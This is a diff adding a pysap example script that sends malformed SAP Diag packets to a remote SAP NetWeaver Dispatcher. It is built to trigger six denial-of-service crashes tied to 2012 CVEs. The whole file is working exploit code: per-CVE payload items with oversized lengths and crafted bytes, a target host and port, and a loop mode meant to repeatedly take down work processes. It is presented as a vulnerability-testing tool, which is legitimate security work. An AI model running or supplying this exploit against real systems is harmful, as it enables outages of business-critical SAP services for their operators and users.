|
| 1 | +#!/usr/bin/python |
| 2 | +## =========== |
| 3 | +## pysap - Python library for crafting SAP's network protocols packets |
| 4 | +## |
| 5 | +## Copyright (C) 2014 Core Security Technologies |
| 6 | +## |
| 7 | +## The library was designed and developed by Martin Gallo from the Security |
| 8 | +## Consulting Services team of Core Security Technologies. |
| 9 | +## |
| 10 | +## This program is free software; you can redistribute it and/or |
| 11 | +## modify it under the terms of the GNU General Public License |
| 12 | +## as published by the Free Software Foundation; either version 2 |
| 13 | +## of the License, or (at your option) any later version. |
| 14 | +## |
| 15 | +## This program is distributed in the hope that it will be useful, |
| 16 | +## but WITHOUT ANY WARRANTY; without even the implied warranty of |
| 17 | +## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| 18 | +## GNU General Public License for more details. |
| 19 | +##============== |
| 20 | + |
| 21 | +# Standard imports |
| 22 | +import logging |
| 23 | +from time import sleep |
| 24 | +from optparse import OptionParser, OptionGroup |
| 25 | +# External imports |
| 26 | +from scapy.config import conf |
| 27 | +from scapy.packet import bind_layers |
| 28 | +from scapy.supersocket import socket |
| 29 | +# Custom imports |
| 30 | +from pysap.SAPNI import SAPNI |
| 31 | +from pysap.SAPDiagClient import SAPDiagConnection |
| 32 | +from pysap.SAPDiag import SAPDiag, SAPDiagDP, SAPDiagItem |
| 33 | + |
| 34 | + |
| 35 | +# Bind the SAPDiag layer |
| 36 | +bind_layers(SAPNI, SAPDiag,) |
| 37 | +bind_layers(SAPNI, SAPDiagDP,) |
| 38 | +bind_layers(SAPDiagDP, SAPDiag,) |
| 39 | +bind_layers(SAPDiag, SAPDiagItem,) |
| 40 | +bind_layers(SAPDiagItem, SAPDiagItem,) |
| 41 | + |
| 42 | + |
| 43 | +# Set the verbosity to 0 |
| 44 | +conf.verb = 0 |
| 45 | + |
| 46 | + |
| 47 | +# Command line options parser |
| 48 | +def parse_options(): |
| 49 | + |
| 50 | + description = \ |
| 51 | + """This example script can be used to tests against Denial of Service vulnerabilities affecting the Dispatcher service. Currently 5 different vulnerabilities can be triggered. |
| 52 | + """ |
| 53 | + |
| 54 | + epilog = \ |
| 55 | + """pysap - http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=pysap""" |
| 56 | + |
| 57 | + usage = "Usage: %prog [options] -d <remote host>" |
| 58 | + |
| 59 | + parser = OptionParser(usage=usage, description=description, epilog=epilog) |
| 60 | + |
| 61 | + target = OptionGroup(parser, "Target") |
| 62 | + target.add_option("-d", "--remote-host", dest="remote_host", help="Remote host") |
| 63 | + target.add_option("-p", "--remote-port", dest="remote_port", type="int", help="Remote port [%default]", default=3200) |
| 64 | + parser.add_option_group(target) |
| 65 | + |
| 66 | + misc = OptionGroup(parser, "Misc options") |
| 67 | + misc.add_option("-l", "--loop", dest="loop", action="store_true", help="Loop until the user cancel (Ctrl+C) [%default]", default=False) |
| 68 | + misc.add_option("-n", "--number", dest="number", type="int", help="Number of packets to seand each round (work processes to get down) [%default]", default=1) |
| 69 | + misc.add_option("-t", "--time", dest="delay", type="int", help="Time to wait between each round [%default]", default=5) |
| 70 | + misc.add_option("-c", "--cve", dest="cve", type="int", help="Number of CVE to trigger (1-6) [%default]", default=5) |
| 71 | + misc.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output [%default]") |
| 72 | + parser.add_option_group(misc) |
| 73 | + |
| 74 | + (options, _) = parser.parse_args() |
| 75 | + |
| 76 | + if not options.remote_host: |
| 77 | + parser.error("Remote host is required") |
| 78 | + if options.cve > 6: |
| 79 | + parser.error("Invalid CVE") |
| 80 | + |
| 81 | + return options |
| 82 | + |
| 83 | + |
| 84 | +def send_crash(host, port, item, number, verbose): |
| 85 | + for i in range(number): |
| 86 | + # Create the connection to the SAP Netweaver server |
| 87 | + try: |
| 88 | + if verbose: |
| 89 | + print "[*] Sending crash #", i + 1 |
| 90 | + connection = SAPDiagConnection(host, port, init=True) |
| 91 | + connection.send_message([item]) |
| 92 | + except socket.error: |
| 93 | + if verbose: |
| 94 | + print "[*] Connection error" |
| 95 | + |
| 96 | + |
| 97 | +# Main function |
| 98 | +def main(): |
| 99 | + options = parse_options() |
| 100 | + |
| 101 | + if options.verbose: |
| 102 | + logging.basicConfig(level=logging.DEBUG) |
| 103 | + |
| 104 | + print "[*] Testing Dispatcher DoS vulnerabilities on host", options.remote_host, "port", options.remote_port |
| 105 | + |
| 106 | + # Crafting the item according to the CVE selected |
| 107 | + if options.cve == 1: |
| 108 | + print "[*] Crash in DiagTraceHex (CVE-2012-2612) using a DataStream (Diag XML Blob) (requires Dialog Developer Trace enabled at level 2 or 3)" |
| 109 | + item = SAPDiagItem(item_type="DIAG_XMLBLOB", item_length=0xFFFFFFFF, item_value="Crash!") |
| 110 | + elif options.cve == 2: |
| 111 | + print "[*] Crash in DiagTraceHex (CVE-2012-2612) using a variable ST_USER ST_USER_PASSPORT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)" |
| 112 | + item = SAPDiagItem(item_type="APPL4", item_id="ST_USER", item_sid=0x18, item_length=0xFFFFFFFF, item_value="Crash!") |
| 113 | + elif options.cve == 3: |
| 114 | + print "[*] Crash in DiagTraceAtoms (CVE-2012-2511) using a DYNT ATOM item (requires Dialog Developer Trace enabled at level 2 or 3)" |
| 115 | + item = SAPDiagItem(item_type="APPL4", item_id="DYNT", item_sid=0x02, item_value="\x80" * 8) |
| 116 | + elif options.cve == 4: |
| 117 | + print "[*] Crash in DiagTraceStreamI (CVE-2012-2512) using a RCUI RCUI_CONNECT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)" |
| 118 | + item = SAPDiagItem(item_type="APPL", item_id="RCUI", item_sid=0x09, item_length=0xFF, item_value="\x12\x1A\x59\x51") |
| 119 | + elif options.cve == 5: |
| 120 | + print "[*] Crash in diaginput (CVE-2012-2513) using a VARINFO MAINAREA_PIXELSIZE item" |
| 121 | + item = SAPDiagItem(item_type="APPL", item_id="VARINFO", item_sid=0x0e, item_value="A" * 10) |
| 122 | + elif options.cve == 6: |
| 123 | + print "[*] Crash in DiagiEventSource (CVE-2012-2514) using a UI_EVENT UI_EVENT_SOURCE item" |
| 124 | + item = SAPDiagItem(item_type="APPL", item_id="UI_EVENT", item_sid=0x01, item_value="A" * 16) |
| 125 | + |
| 126 | + if options.loop: |
| 127 | + try: |
| 128 | + while True: |
| 129 | + if options.verbose: |
| 130 | + print "[*] Started a new round" |
| 131 | + send_crash(options.remote_host, options.remote_port, item, options.number, options.verbose) |
| 132 | + sleep(options.delay) |
| 133 | + except KeyboardInterrupt: |
| 134 | + print "[*] Cancelled by the user" |
| 135 | + else: |
| 136 | + print "[*] Selected a single round" |
| 137 | + send_crash(options.remote_host, options.remote_port, item, options.number, options.verbose) |
| 138 | + print "[*] Crash sent, take a look at the work processes !" |
| 139 | + |
| 140 | + |
| 141 | +if __name__ == "__main__": |
| 142 | + main() |
0 commit comments